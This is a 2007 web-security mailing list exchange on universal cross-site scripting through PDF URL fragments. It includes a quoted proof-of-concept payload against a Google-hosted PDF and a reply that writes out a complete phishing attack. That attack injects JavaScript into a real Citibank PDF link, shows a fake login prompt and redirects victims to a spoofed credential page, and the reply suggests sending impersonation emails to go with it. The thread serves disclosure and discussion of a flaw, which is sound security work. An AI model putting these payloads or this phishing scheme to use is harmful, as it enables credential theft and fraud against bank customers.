Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

"Jean-Jacques Halans" <halans@xxxxxxxxx> · Thu, 4 Jan 2007 08:54:44 +1100

And it makes a great phishing hole too.
Google for any banking pdf's
and attach your fake banking site to let the user login to read the article.

For example:
Send out an email pretending to come from Citibank, about a new
article on Wealth Management, with a link to the real article:
http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
Notice the popup (in firefox) which says: "The page at
http://www.citibank.com says:"

JJ

On 1/3/07, pdp (architect) <pdp.gnucitizen@xxxxxxxxxxxxxx> wrote:
I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:

    http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here

You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.

There is a POC I composed:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);